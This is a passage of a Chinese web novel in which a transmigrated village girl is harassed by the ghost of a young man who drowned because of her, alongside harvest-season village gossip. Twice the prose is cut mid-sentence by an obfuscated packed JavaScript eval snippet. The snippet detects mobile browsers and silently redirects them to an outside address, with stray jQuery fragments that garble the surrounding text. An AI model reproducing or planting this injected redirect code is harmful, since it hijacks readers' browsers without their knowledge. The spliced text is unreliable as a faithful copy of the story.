一连几天的简单擦洗,钟颖终于忍不住洗了个彻底的澡,还把头发也一起洗了,来来回回换了好几盆子的水,硬生生又折腾出了一身汗,她只能“返工”,重新又冲了一遍身子,等到终于洗好,钟颖拿布巾把头发擦了个半干,才端着脸盆把剩下的水豁到屋外院子的地上。 邓霞听到声音从屋子里探出个头来,她已经散了头发准备睡了,见钟颖这副样子,“可算是洗完了,明早想吃什么?每天想做什么饭就要愁死我了。” 钟颖想到今天爹给的那根黄瓜,突然有些馋,“娘,我想吃炒黄瓜。” “那半分自留地里黄瓜就种了那么两棵,这么一大家子的,怕是要全摘了去炒菜才够吃的。”邓霞抱怨着,就把窗户关上了。 钟颖知道,她娘虽然嘴上这么说,但明早这盘炒黄瓜一定会出现在饭桌上。 如此想着,钟颖嘴角带上了一抹浅笑,她把脸盆放在院子里,也准备回屋睡觉了,红糖早已经习惯性的抢先一步钻进屋里,熟门熟路的窝进地上钟颖的旧棉袄里。 家里人都已经歇下了,钟颖也打算赶紧去睡了,明天还要上工,可她刚转身要朝她那屋走去,意外骤然发生。 一双冰冷的手从钟颖的身后伸过来,揽住她的腰肢紧紧圈住。 钟颖只感觉自己的后背贴上一个胸膛,她甚至都来不及惊声尖叫,就紧接着被身后的鬼带着向后仰倒摔去,在落地的瞬间,那结实的胸膛仿佛一瞬间变成了可以陷入的存在,她的眼眸倏地睁大,从另一个视角由下向上看被打碎的水面。 河水从四面八方涌来,汹涌灌进她的口鼻。 原本禁锢在钟颖腰上的手松开,任由她在河水中下坠。 11. 一报还一报 白色衬衣衣角随着水波轻轻晃动,若隐若现的露出男子腰腹的线条,被黑色长裤包裹的修长双腿仿佛要和甘霖河深处融为一体,夜色下河水带着晦暗阴涩的色彩,让他的面容更显青白鬼魅。 河水里隔绝了一切声响,四周是死一般的寂静,钟颖的身子向下沉,仰头双眼睁大地看着李霖时,比恐惧先升腾起的是惊疑不定。 怎么会?他怎么会还在? 李霖时以水为媒介把钟颖丢进甘霖河中后就松开了手,只冷眼旁观看着她在水里下坠。 两人在河水中彼此凝望。 一个个疑问在钟颖脑海中炸开,牛头马面不应该已经把这水鬼缉拿归入地府了吗?阴差办事效率这么差吗? 这倒是钟颖错怪他们了。 时间倒回三天前,牛头马面确实是来找李霖时的。 “哎,你别跑啊!” 牛头人身黑色中山装的阴差喊了一声,见河边的水鬼更是动作一刻不停的纵身跃入甘霖河中。 他一副头疼样子的敲了下自己颈上的牛头,对旁边同事抱怨道,“人们真的把咱俩传的太威严了,每次都是这样,鬼一见了咱俩掉头就跑!我这还啥都没说呢!” 马头人身一身白色对襟系扣布褂的阴差只默默扭头看了一眼同事的牛头,就算没有人们那些夸张的形容,就他俩这幅尊容,是个人见了都要害怕吧?才死不久的人当然也不会例外。 但抱怨归抱怨、腹诽归腹诽,两差使该做的事情还要做。 牛头马面眨眼间疾行到河边,他们手里的铁链仿若有意识般的钻进河面,在水中搅动追踪着,他们被铁链拽着在河水上快速掠过,显然水下的鬼也逃得极快。 终于铁链绷紧,显然缠住了什么东西,他们才停下来,牛头和马面分别落到河道两岸站住。 牛头从鼻孔中粗喘出一口气,和马面一齐握住了各自手里的铁链,齐齐发力将其拽了出来。 一个看着还很年轻的男鬼被拽出了河水,他身形挺拔修长,两只青白劲瘦的手臂上缠着黑铁般的粗旷铁链,因着挣扎的动作手腕上青筋绷紧,五官深邃的脸上此刻眉头紧皱,乌黑的发丝往下滴着水,水珠落在睫毛上,又在他眨眼间再次坠落,从下颌滴落。 牛头人身的阴差都不禁看愣了一秒,感慨道,“我哩个乖乖,这青年长得真好!” 马面言简意赅,“说正事。” “哦哦,”牛头连忙说回正事,“你别见着我俩就跑——” 可不等他多说什么,就见那容貌昳丽的男鬼挣扎无果,毫无预兆的骤然破碎成无数细小的水珠,如雨般簌簌落入河面,再次与河水融为一体。 牛头收回空落落的铁链,抬手捋着自己的牛角发愁,“我就说枉死鬼最难缠……” 对于负责引导亡魂的阴差们来说,病死鬼最容易沟通,因为人在缠绵病榻的漫长时间里已经渐渐接受了自己死亡的结局,甚至在病痛的折磨下盼着能有个痛快的结束; 其次是寿终正寝老死的鬼,虽然会对子孙留恋不舍,但只要和他们说明阳寿已尽,这人往往也就接受了自己的死亡,老老实实去投胎了。 最令牛头马面头疼的就是枉死鬼,嘎地一下就这么死了,任谁都接受不了,怨气也就横生,再加上死因非同寻常,往往使其多了些自然死亡的鬼魂所没有的能力。 “别说这些有的没的了,”马面一边闪身向前追去,一边回头催促着,“有些话我们必须和他讲清楚。” 牛头连忙跟上。 甘霖河自颖山而下,流经同甘村,到了下游经过砬弯沟的沟沟绕绕后水量渐少,最终汇入榆钱洼的小湖泊中。 马面追至此,当机立断喊出此地的守护神,“此间鱼灵请助我等一力!” 平静的湖泊水面仿佛突然沸腾起来,咕噜咕噜冒着泡,似是有一道小小的金色身影穿梭在水中。 作为外来之客的河水被那一尾金色鲤鱼不断逼近收拢,只能重新凝聚成人形,纵身离开湖水中。 在他落至地面的瞬间,几张三寸宽、三四尺长的白色纸条倏地飞了过来,绕着他围成一圈。 最后赶来的牛头见马面丢出纸条,顿时眼睛一亮,不用多言,他立刻抬手两指掐诀放在嘴边,再张嘴就是喷出熊熊烈火。 白色纸条遇火燃起,变成一片相连的火圈将水鬼困在其中。 一尾金色鲤鱼跳出湖面,在空中划过一道如虹日般的弧线,落在地面时却是一个二十来岁的年轻女人模样,她看向被困火圈中的鬼,好奇的问,“哪儿的鬼?” 她们榆钱洼生产队最近可没人去世。 鱼灵又追问一句,“咋能跑我这里了?” 一般鬼可是只能待在自己的亡故地,天地之间是对其是有限制的。 “河里的水鬼。”马面一如既往的言简意赅。 鱼灵瞬间了然,哦~这是不一般的鬼。 牛头放出铁链穿过火圈再次束缚住水鬼,他叹了口气,回答鱼灵的上一个问题,“颖山那边的。” 鱼灵又“哦~”了一声,那怪不得了,“颖山山神还没归位啊?” 马面摇摇头。 不是她这儿的鬼,鱼灵不用和阴差们陈表什么,帮了忙她就可以功成身退了,“行,那你们忙,我回湖里了。” 牛头马面双双抱拳,“多谢。” 金鲤鱼一个猛子扎进湖里,摆摆尾巴就不见了踪迹。 牛头看向火圈里的鬼,“小兄弟你跑啥啊?我们又不抓你。” 李霖时听这话,眼眸中警惕未有半分消退。 “哎,我说的都是真的,你咋就不信呢?是谁骗你,把你骗怕了?”牛头急得直挠头。 李霖时脑海中突然就闪过了钟颖的面庞。 牛头左手向自己胸口一掏,拿出一颗不会跳的心,接着右手一掏就是一颗肺,“我这样你总该信我了吧。” 一旁的马面,“……人们说的掏心掏肺不是真的掏心掏肺,你这样更吓人了。” “哦哦。”牛头连忙又把心、肺塞回身体里。 “我们地府向人学习,现在也不搞独裁专制那一套了,听询民众意见,你要是想留在人间也可以,我们不会强压你去投胎。”马面平静的说完,翻开手里的记事本,不带一丝情绪的念出上面的字,“李霖时,同甘村李明的四子,生卒年为1946年4月26日辰时出生,卒于1968年6月3日午时,享年二十二岁,死因是溺亡。” 牛头凑过来,目光越过马面的肩头去看本子上更为详细的文字,“你还是首都农业机械化学院毕业的大学生啊,你要是活着肯定能给村民们改进改进农具,啧啧,可惜了……” 马面立刻转头瞪了他一眼,说这话不是更加平添这水鬼的一腔怨恨吗? 李霖时嘴边果然露出一抹嘲讽冷淡的笑,可不是可惜了吗,他孜孜不倦的向上求学,大学毕业后没有像其他同学那样等待在城市分配工作,他一刻不耽误的回了家乡,为的就是把自己所学落到实处,让乡亲们用上更省力、好用的农具,让大家的日子越过越好。可现在他的一切抱负都成了空,这让他如何不怨恨? 马面把笔记本翻过一页,想办法帮同伴找补,“我记得颖山下还有一滞留人间的鬼,她应该有和你讲过吧,鬼找害死自己的人要‘债’是可以的,但不得加害其他无辜之人,否则投胎只能进畜生道。” “可别想着什么害死了人,不去投胎继续做鬼不就行了,”牛头补充道,“鬼可不能一直停留在人间!” “我知道你们人类的说法是人死如灯灭,但你现在成了鬼,自然知道死亡并不是一切的结束。”马面说着,目光抬起落到李霖时身上,“除了人以外,天地之间,无论神鬼,立身根基皆系于念力。有人念着,便是存在,所以,如果在你滞留人间时,最后一个记着你的人也遗忘了你,那么你就再也不会有投胎的机会了。” 牛头故作警告的样子,恐吓道,“你就魂飞魄散了!” 说完他想起什么,忍不住摇头惋惜,“前面盘坡口的守护神就是这样没的,庙被推了,人们不再信药神,就算是神也就这样消亡于天地间。” “药神消亡,山神入世,活儿全压我俩身上了……”牛头又忍不住小声抱怨起来,“要不是忙得抽不出身,我俩早就来找你了!” 马面再一次拉回正题,“总之,后果我都已经讲明,无论是动手伤及无辜还是滞留人间,你行事之前想清楚就行。” 李霖时沉默不语,但显然是听进去了。 “你无妻无子,父母有兄姐赡养照顾。”马面低头看着笔记本上一行接一行浮现的文字,突然目光一顿,“原来是为报仇才不愿离开人间。” “啥?你这么高的个子,谁能把你按水里?”牛头好奇的凑过来看,“咦?这看着像是个姑娘的名字……” 马面头也不抬的伸手推开几乎要戳到他面前的牛角,“虽说冤有头债有主,但你的死若是全归咎于一人身上,难免太过苛责。你的死,起于人祸,亡于暗流。” “不过你一腔怨恨如果非要发泄,找那人讨债也不算你错。”马面合上手里的本子,“待你索了命,我们可以一起带你俩回地府。” 牛头补了一句,“你正好劝劝你们村的另一个鬼,她孩子都长大了,也该走了,最好下回我们来能一波三鬼全部带走。” 马面一挥手,一股风自他衣袖而出,吹灭了那圈住李霖时的火焰,“该交代的我们都已经说了,好自为之,告辞。” 牛头也拱手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448715|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后叮嘱一句,“不想魂飞魄散就早些去投胎;不想下辈子当畜生就别干坏事啊。” 牛头人身和马头人身一黑一白两道在空气中慢慢淡去,不多时便彻底消失不见。 只留下李霖时独自站在原地。 之后的三天时间里,李霖时待在甘霖河一处偏僻河段的水里,远离同甘生产队的人群,只静静地呆着。 李霖时在思考,到底要不要继续要钟颖的命。 不是因为牛头马面的警告,他们也说了,自己找钟颖一命还一命也不算错,毕竟他的死确确实实起于她造得祸,如果不是她强拽着,他怎么可能会落水,又怎么会死于之后河水里的暗流。 可马面说得也对,他的死若归咎于一人身上太过苛责,李霖时自己也心知肚明,正如另一个鬼所说的,钟颖是想要强嫁给他,而不是想要害死他。 李霖时靠坐在河底一块奇形怪状的石头前,漠然的看着头顶上的河面跟着风微微摇曳,波光粼粼映入水下,照得他俊美的脸庞越发透明。 而且,李霖时想起牛头马面来时,他没有漏看钟颖下意识后退的那一步,他见到牛头马面想要逃跑是因为他现在是鬼,那钟颖为什么也能看到牛头马面、又为什么也想要逃跑呢?难道……真的是像她说的那样,她真的是借尸还魂的鬼? 李霖时就这样想了三天,胸膛里那股如浓墨般的杀意没那么强烈了,只是他的怨恨,仍需要发泄。 既然她把他拉入河里一次,那就还这个吧。 李霖时强行将钟颖丢进了河里,没有像前几次那样钳制着她,不给她任何挣扎的机会,他就这么松了手,冷眼旁观。 如黑藻般的长发在河水中散开,女孩睁大了眼睛看着他,眼眸仿佛被洗涤过般的澄澈明亮,里面满是震惊。 李霖时知道他的举动根本不会让钟颖丢了性命,甚至不会让她有任何伤害,简直就像是个恶作剧般的报复。 临河而居的村子里哪家小孩不会游泳,李霖时记忆中都曾目睹过好几次钟诚带着他妹妹来河边玩。 她害他落水,他遇上暗流没能游上岸是他时运不济; 一报还一报,他再拉她入水,她自己能游上岸那是她给自己争的命。 可钟颖不是他肚子里的蛔虫,她不知道李霖时此举只是报复钟颖害他落水。 钟颖只以为这鬼是给她换了个死法,打算让她像他一样,体验一下淹死是个什么滋味。 尽管对方并没有下死劲把她按在水里,只是像事不关己的旁观者飘浮在旁边。 钟颖也觉得这鬼就是想弄死她。 因为无论是原身还是她,都是旱鸭子,根本不会游泳啊! 记忆中原身小时候虽然会跟着她哥到河边玩,但她从来不下水,她才不要和那些混不吝的男孩们一起扎进水里,难看得很; 钟颖自己也没学过游泳,她并不算天才,想要考出更好的成绩需要付诸拼尽全力的努力,她的课外时间都被各种补习班占据,卷得昏天黑地,根本没时间也没精力再去掌握一门游泳技能。 身体还在下坠,钟颖挣扎着扑腾了几下,根本毫无作用,反而让她沉得更快。 钟颖紧抿着唇,生怕呛进去一口水。可没有补给,肺内残存的氧气被消耗地越来越少,她亲身体会到溺水之人死前的那种难熬的窒息与绝望。 拼命想要游出水面却无法做到,只能困于水中,没了氧气,在坚持不下去的那一刻,河水会无情的涌入嘴里,倒灌进气管,淹没人的全部生机。 钟颖不想这么绝望的死去。 李霖时冷漠的看着在水里胡乱划拉着四肢的女孩,虽然奇怪她的不得章法,可他也没有任何动作。主动去救一个阴差阳错害死自己的人?他还没有道德高尚到如此程度。 他不出手,自然有人出手。 钟颖努力自救,肺内氧气稀薄到令她眼前开始发黑眩晕,她几乎无法正常的思考,只能像溺水之人一样本能的抓住身边一切能抓住的东西。 李霖时就这样又一次被拽住了衣领,仿佛死前那幕的重现。 钟颖知道她抓住的是一个死鬼,可这时候只能死人当活人用,说不定有用呢。 带着温度的、柔软的唇贴上来的瞬间,李霖时仿佛被人打了一拳般,脸上的平静被徒然击碎,他瞳孔骤缩,身体如冰封冻结般僵住无法动弹。 钟颖急切的想要试图从对方嘴里抢夺些空气,求生的本能让她顾不了太多。 现在就算有只鱼从旁边经过,钟颖都想从鱼嘴里抢点氧气,最起码她知道鱼是通过鱼鳃将水里的氧气纳为己用,这水里的鬼能吗? 钟颖不知道,她的脑袋因为缺氧已经转不动了,只一味的蛮横的撬开对方的牙齿,冲进去扫荡掠夺。 12. 愤怒 在陌生的柔软闯进自己的嘴里,属于人的热乎气从她的唇间传递过来,李霖时僵住的身体仿佛重获生机般,他立刻挣扎着想要推开钟颖,可这一刻她比他还像水鬼,像水草似的死死的缠在他身上,任他怎样都推不开。 破开水面的声音打破夜晚的寂静,随即是急切的粗重喘息声。 李霖时双手掐着钟颖的腰势如破竹般冲出了水面,一离开水里她立刻就放过了他。 钟颖双手撑在他冰冷的肩膀上,大口喘息着,平日里稀松平常的空气在此时对她来说是死里逃生重获的珍宝。 被河水打湿的轻薄夏衫存在感几乎荡然无存,李霖时清晰的感受紧贴着的皮肤传递过来的温度,属于人的寻常体温却令他像被火焰燎到似的只觉灼痛。 他应激一般倏地又融入河水中。 钟颖徒然失去支撑,立刻又要往河水里栽,这时原本平静的河面却莫名卷起一阵汹涌的波涛,仿佛带着某种怒意,将她猛地扑到岸上。 “我勒个去——”钟颖狼狈的扑倒在河岸上一块大石头上,好在河水日积月累的冲击磨圆了大石块的棱角,让她免于受伤,只是石头上凹陷处的淤泥糊了她一身,她的澡白洗了! 脑海中闪过这个念头,钟颖撑起身子,忍不住转头愤怒的瞪向河里的水鬼。 李霖时重新凝聚成人形,腰部以下浸在河水里,只有上半身露出水面,月色下,宛若神话故事里的鲛人,只不过他一张嘴,发出的却不是蛊惑动听的歌声,而是冷冰冰的言语。 “自己回去。” 钟颖一个猛虎扑食般的动作连忙扑过去,探出身子一把抓住这鬼的衣角,“等等!我自己回去?” 她转头看了看那片陷入黑暗的村落民居,与白日里的热闹截然不同的寂静显得有些阴森,钟颖不自觉的做了个吞咽的动作,无数曾看过的社会新闻在她脑海中快速划过,这一刻她对人的恐惧盖过了对鬼的恐惧。 “你把我从家里弄到河里,现在让我自己回去?你不如现在就给我个痛快,你知道这么一段路我能死多少回吗?没有路灯没有监控,每一个经过的路口都有可能突然有人从黑暗中冒出来……”钟颖因为害怕不由得变得话多起来,像连环弹一般噼里啪啦往外蹦,“我家还不是在村口,而是在村子中间!” 李霖时的目光从紧紧攥着自己衣角的手向上挪到钟颖的脸上,她的惊慌恐惧直白的表露无疑,他没有多少同情,只说,“你是被吓大的吗?” 她就像村子里那些从小被爹娘恐吓山上有吃人的野兽的孩子,长此以往也就再不敢上山了。 “什么?”钟颖很快反应过来,“我又不是小孩,我看的都是真人真事的新闻,深夜、我这样的独身女性,你知道会发生多少种刑事事件吗?” 钟颖想到什么,又接着说,“不像现在这样,未来出行不需要介绍信,虽然生活上是便利了很多,但有利有弊,高度流动的社会带来的危险也变多了。你以为我们女性是想活在这些恐慌中吗?还不是男的作恶……” 李霖时拽回自己的衣角,冷漠无情的融入河水中。 钟颖:…… 想起自己此时为什么不在屋里睡觉,还要独自一人摸黑走夜路回家,钟颖忍不住在心里默默骂了一声,她还真是没说错,都怪男的作恶! 像现代时骂不做人的老板,钟颖在心里骂了一路不做人的男鬼,真的是莫名其妙!大晚上的把她从家里挪到河里,还让她自己回去!这就像是把犯人强行拉到了刑场,铡刀都上了,白酒都喷脖子了,然后刽子手突然说,“行了,你走吧,下回再杀你。” 真是不做人!也是,他现在本来就不是人! 钟颖一边腹诽怒骂着,一边一刻不停歇的跑回家。因为恐惧,肾上腺素飙升,她几乎跑出自己的极限速度,要不是这个时间点村子里的人都睡下了,看到钟颖夺命狂奔身影的人怕是要被吓到。 也许是周身的怨气冲天自带吓退魑魅魍魉buff,钟颖一口气平安跑回了自家门口,她平复着呼吸,胸腔里的心脏狂跳,抬手用力拍着钟家的木门。 突然的敲门声吓了正巧起夜去茅厕的钟信一大跳,红糖从屋子里冲出来,对着院门汪汪叫着。 钟信警惕的问了一声,“谁啊?” 钟颖听出了他的声音,“你姐。” “姐你咋大晚上的去外面了——”钟信也听出来了,忙不迭从里面把门打开,在看到钟颖后,他吓了一大跳,“姐你怎么一身的水?掉河里了?” 钟颖一副落汤鸡的样子,她无奈的点点头,一脸难言,“是我倒霉……” 别人穿越有系统,她穿越有死鬼,怎么不算是倒霉。 钟信少年人的脸上露出恍然大悟的表情,自行帮他姐脑补好合乎常理的“倒霉事件”。 —— “小麦上场要紧打,过了夏至别怨天。” 铺在打麦场地面的麦子被人们一遍又一遍的碾压,直到全部的麦粒剥离出来,剩下光秃秃的麦杆子。几次乌云蔽日给生产队的人们紧了紧弦,过了夏至之后甚至真的下了两场雨,劳作变得精心动魄起来。 雨滴落下的时候,人们鬼哭狼嚎的呼号着,七手八脚慌忙把“麦穗山”挪到能避雨的地方。 还有一回抢场发生在晚上。明明收工时天气一片晴好,晚霞灿烂,脱好粒的麦穗堆放在打麦场里,上面用麦草简单盖了一下,打算第二天再接着晒。可谁知到了午夜,天公不作美,又突然下起了雨! 李明作为生产队的队长被雨打屋檐的声音惊醒,五十多岁的人一个猛子就从床上跳了下去,夺门而出,在村子里吆喝着人们赶紧起来,他经过钟春生家时,脚步一顿,就拐了进去。 一声唢呐响,生产队的所有人都被惊醒了,吓得他们还以为村子里又有谁家死人了。 六月的天,孩儿的脸,不知下次下雨是在什么时候,人们只能拼命赶工,麦穗脱粒晾晒后还要“扬场”,将麦粒与麦壳分离。 这些日子钟颖在打麦场风吹日晒,人都晒黑了一些,根本无暇想那死鬼怎么这么久没有再出现、怎么不杀她之类的问题。 钟颖累得整个人都又有了在现代当牛马时的淡淡死感,随便吧,她现在就累得想死。 等到大部分处理好的粮食归仓,打麦场忙碌又紧张的劳作才又慢慢缓和下来。 生产队大部分人又被李明带着回田地里间苗,打麦场又只剩下那几个干活不行的人。 仍然是刘强留下来作为场头,他看着那几个干着活又不知不觉聚到一起说话的人一阵无语,不过着急干的活儿已经差不多干完了,大部分的粮食都已经入仓,留下的人要做的就是从扬场落下的糠皮中把遗留的粮食挑拣出来,这活儿轻省工分少,刘强也就对胡打听等人的凑堆睁一只眼闭一只眼了。 前阵子忙得闲话都没空说,可把胡打听憋坏了,现在身体闲了下来,嘴巴就闲不下来了。 “我听说大妮又怀上了?”胡打听问道,她口里的“大妮”是范家的大女儿,全名就叫范大妮。 范大妮她娘聂英满脸喜气的点点头,“一个半月了。” “我亲自诊出来的!”林淑红凑过来,黑红的脸上很是得意,她是同甘生产队里有名的“福气人”,生了五个儿子一个闺女,全都养大了,对判断有孕、接生、养孩子很有一套,范大妮嫁给的就是林淑红和刘强的二儿子刘满仓。 旁边的人们听到这些话,纷纷围过来恭喜。 聂英瞥了一眼打麦场另一边懒洋洋干活的年轻女孩,不禁有种扬眉吐气的感觉。 她聂英的肚子是比不上隔壁生了两个儿子的邓霞争气,可三十年河东三十年河西,她聂英就算生得都是闺女又怎样,她大女儿这都第三胎了,和大妮同岁的钟诚才一个孩子;她家二妮过年春天出门子,邓霞她那闺女还要大一岁呢,现在还没个着落。 这么想着,聂英整个人的精气神更好了,“算算我家大妮生孩子和她二妹结婚是前后脚,到时候大家都来吃席!” 三姑婆乐呵呵的点头,年纪大的人就愿意看喜事,“二妮是说的谁家啊?” “周家窝窝大队的周长庆家,还是三姑您给俩年轻人算的八字,您忘了?”聂英说。 三姑婆想了一会儿,连声道,“对对对,周长庆家三小子,我记起来了,可精神的青年人,因为他爷去世,所以定在了明年春天再结婚。” 聂英又朝对面睨了一眼,故作高声地说,“所以说啊,姑娘家的还是要嫁个好人家才是正理,学着那泼辣蛮横的样子,谁家敢要这样的媳妇?” 都说到这份上了,钟颖哪里听不出这是在点她,不过她只撩起眼皮看了范五婶子一眼,没被惹怒一点。 鱼会因为被说骑不了自行车而生气吗? 范五婶子说她像她娘,泼辣蛮横,嫁不出去,钟颖有什么好生气的,要是范五婶子说她贤良淑德、适合结婚生子,钟颖才会急眼,嘿你怎么骂人这么难听呢? 一旁的赖混子听出了范五媳妇话里的阴阳怪气,也跟着看了一眼钟颖,“要是李家小子没出事,现在钟老二这闺女应该也嫁给他了吧。啧啧,说起来这李家小子也是可怜,到死也没个媳妇儿……” 钟颖听着忍不住翻了个白眼,好好好,你们男的又互相同情上了是吧。 “听说没结婚的人到了下面孤苦无依,会被人欺负。”赖混子没什么本事,就只有说这些神神叨叨的话时别人愿意搭理他,久而久之他就越发深谙其道,“最好啊,就是给他结门阴亲,让他在下面也能有个伴。要是当时两人都出事了,就正好结亲,现在这一死一活的……不过也不是没有活人和死人结阴亲的……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448716|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>原本听着还在点头的妇人们听到最后都拧起了眉头。 就连聂英都忍不住啐他一口,“好好的姑娘和死人结亲?说这种话,你也不怕损了自己的阴德,下辈子投胎当畜生!” 她是看隔壁钟老二一家不顺眼,希望自己的孩子能盖过钟家孩子一头,可这也不代表她聂英的心就坏到盼着个姑娘家没个好下场。 胡打听脸色发白的拍着自己胸口,“哎呦你个混不吝的,这种话你也敢说,你要遭祸了……” 钟颖根本没把赖混子胡说八道的话放在心上。 孤苦无依?被人欺负? 那死鬼本事大着呢,翻手为云覆手为雨的,都能把她从家里一秒带进甘霖河里,在人间作威作福的,谁能欺负他啊? 钟颖腹诽着,又是一个白眼。 入夜,赖混子眼里的“小可怜”悄悄潜入屋子。 李霖时目光阴翳的盯着侧身躺在床上酣睡的女孩,愤怒油然而生。 她为什么总能轻易的调动起他的情绪? 在接受自己已经死了这个事实的那段时间,李霖时感觉自己像一潭凝滞、阴暗、浑浊的死水,他不再需要像人一样进食、睡觉,连属于人的情绪也好似跟着消失…… 可是为什么,她的一言一行却每每像投入水面的石子,砸碎这种冰冷的死寂? 李霖时的视线不由自主的落到钟颖的唇上,红润、丰盈,随着她绵长的呼吸微微轻启,皓齿隐隐若现,娇艳如樱桃,诱人采撷,品尝是何种滋味……他是知道的。 阴郁又恼怒的目光不断扫过沉睡之人的脸庞。 她怎么可以好似事情从未发生过一般酣然入睡? 只有他乱了心神、几日都无法回归平静。 李霖时仔仔细细的扫视着钟颖的脸,目光如同摩挲般一寸寸碾过。 她说她生于三十年后、死时二十七岁,这个年纪怕是早就结婚生子,所以那种事情,她也对别人做过吗?稀松平常的事情当然不会在意,所以才只有他耿耿于怀。 想到这里,李霖时的怒火又高燃起来。 他不只是因为河水里的那个出乎意料的吻,愤怒钟颖的不在意,他还愤怒自己的耿耿于怀。 她都不在意,他为什么要那么在意? 甚至这么些日子都无法平静下来。 李霖时几乎是怒瞪着躺在床上的罪魁祸首,无论他是人时,还是做鬼时,她都在扰他清净。 今天上工没有那么累,钟颖睡得也就没有前些天那么沉,在这样强烈的视线下,她幽幽转醒。 一睁眼就是面色惨白的男鬼阴鸷恐怖的凝视。 钟颖差点原地去世。 有一瞬间恍惚和她之前猝死时重合,心脏被吓得漏跳了一拍。 继勒死、掐死、淹死之后,这次这死鬼是想要吓死她吗?还是打算先把她吓个半死再动手? 钟颖真的是受够这种猫捉老鼠般的戏弄,简直像钝刀子割肉,磨人得很,这鬼还不如给她个痛快。 她不耐烦的翻了个身,躺平任杀,“快快快,赶紧的,弄死我,我再去投胎去!” 不像其他人家,邓霞和钟春生夫妻俩从没有因为钟颖是女孩就克扣她的口粮,甚至一些稀罕的吃食大多都进了钟颖的肚子,因此她没有其他同龄女孩那么瘦小,不只是身高,其他地方也发育良好。 她这样大咧咧的躺平,拿来充当睡衣的衣裳很薄,飘渺如烟般覆盖其上,年轻的身体如群山般连绵起伏,就这样闯入李霖时的眼里。 他顿时如双眼被灼痛一般猛地移开视线,更加怒不可遏,薄唇间线条绷紧,“……不知廉耻!” 说完鬼影消失,地面上一潭水痕漫开下渗。 他这四个字比范五婶、赖混子说的那么多话都管用,钟颖一下子就怒了! 要她的命、说她有病就算了,现在还对她进行□□羞辱? 钟颖都躺平任杀了,还怕什么鬼、忍什么气、吞什么声,“我好好在自己屋里睡觉怎么就不知廉耻了?我还想问你呢,你大晚上跑女孩屋里就知廉耻了?穿着件湿透露点的白衬衫四处乱逛,你的三从四德又去哪儿了?” 那摊水痕下渗的动作似是一滞。 他明明在那之后就一直小心控制着身上的水不要弄湿衣服! “再说了,你又是我的谁?我怎么样要你评判?那么闲怎么还不去投胎?我要是不知道,还以为你不是死在河里而是死在海里了,管那么宽……” 李霖时又加快离开的速度。 他刚刚竟然真的顺着她的那些话在思考,认为她是另一个人。 可现在看,这和钟二婶子如出一撤的泼辣劲,她分明就是钟颖! 钟颖骂完后长出了一口气,舒爽,不怕死之后感觉整个人都不憋屈了,果然人活着哪有不发疯的。 13. 贱男 男的都贱! 这个事实原先的钟颖七、八岁的时候就看破了。 正是猫嫌狗憎年纪的男孩大多都手痒痒喜欢招惹几下同龄的小女孩,要么故意使个绊子、要么拽下头发的,把小姑娘惹哭他们就高兴了。 在钟诚挡在前头给他们一人一脚之后,小钟颖发现自己踹也照样管用,一旦这些男孩发现你不是个好欺负的,他们也就老实了,这不是贱是什么? 钟颖现在觉得男的就算死了也这德行。 那死鬼刚开始要杀她,钟颖怕得要命,可几次三番的又到了最后关头收手。怎么,她的恐惧满足了他变态的心理?她越怕,他越兴奋? 横的怕不要命的,昨夜钟颖破罐子破摔,躺平任他杀,这鬼反倒是跑了。 哪怕钟颖后面几乎可以说踩着他的脸骂他,他居然都没有掉回头来杀她。 钟信睡眼惺忪的从钟颖隔壁屋子走出来,“姐,昨天晚上你是不是做梦了?我睡得迷迷糊糊的时候听到你说梦话了,好像是在骂人,说管的宽什么的。” “对,梦到了一个男的莫名其妙过来对着我指指点点,”钟颖眼不带眨一下的说,“你引以为戒,要让我知道你也这样子犯贱,我第一个教训你!” 钟信被他姐瞪的一激灵,连忙摆手,“我才不会。” “不会啥?”邓霞和苗素云从厨房里端着饭菜出来,她催促姐弟俩,“快收拾收拾准备吃饭了。” 一大家子吃过饭后就各自去上工了,钟老爹和邓霞带着小儿子钟信去地里浇水追肥,苗素云把小国强背在背上去做拔草的活儿,钟颖则还是去打麦场捡糠皮里漏掉的麦子。 不过钟颖刚到打麦场没多久,她还没开始干活,她娘邓霞就杀了个回马枪怒气冲冲跑来了这边。 “赖混子你个嘴巴贱的,给老娘我滚出来!” 邓霞气壮山河般的一声怒吼,把整个打麦场都震住了,所有人的视线齐齐聚集到她的身上。 被她点到名的赖混子更是浑身一抖。 邓霞仿佛喷火般的目光看了闺女一眼,怒其不争,“你个丫头,都被这么说了回家也不告诉我?你个没出息的,老娘的本事这么些年你一点没学会啊,连骂回去都不会!” 钟颖不禁困惑的歪了下头,她骂回去了啊,昨晚上就骂回去了呀。 赖混子觍着脸走过来,对着邓霞讨好的笑笑,“钟老二家的,你这不去上工跑过来找我干啥?” 邓霞让钟颖站一边好好学学,她深吸了一口气蓄力,再张口仿佛喷火一般,对着赖混子就骂,“干啥?你自己干得啥事你心里没点孬数?现在全生产队都知道你昨天一张贱嘴说了什么鬼话!你个嘴巴痒骨头贱的玩意儿,让我闺女和个死人结亲?你咋不先这么做?你一大把年纪了,反正活人媳妇儿是肯定说不上了,你去结门阴亲好歹能有个死人媳妇儿,哦对,早些年的韩寡妇不就是因为你才喝了药,你这不只是讨媳妇,还是还债了!” 被扒了老底,赖混子一口气差点儿没提上来。 